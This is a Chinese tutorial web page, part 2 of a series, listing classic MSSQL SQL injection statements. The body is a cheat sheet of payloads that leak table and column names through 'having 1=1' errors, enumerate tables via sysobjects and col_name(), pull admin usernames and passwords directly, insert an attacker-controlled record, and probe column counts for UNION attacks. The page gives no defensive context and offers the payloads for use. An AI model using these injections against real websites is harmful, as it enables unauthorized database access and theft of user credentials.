建站学 - 轻松建站从此开始!

建站学-个人建站指南,网页制作,网站设计,网站制作教程

当前位置: 建站学 > 数据库 > Mysql 教程 >

超详细SQL经典注入语句(2)

时间:2011-03-29 13:04来源: 作者: 点击:
MSSQL注入: having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】 group by users.ID having 1=1-- group by users.ID, users.username, users.password, users.privs having 1=1-- ; insert

 

MSSQL注入:

having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】
group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】

猜解表名:
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一个表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二个表名,后面的以此类推。。

猜解列名:
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】

猜解字段内容:
and (select top 1 username from [admin])>0 【直接得到用户名】
and (select top 1 password from [admin])>0 【直接得到密码】

UNION联合查询:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)

(责任编辑:admin)

织梦二维码生成器
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片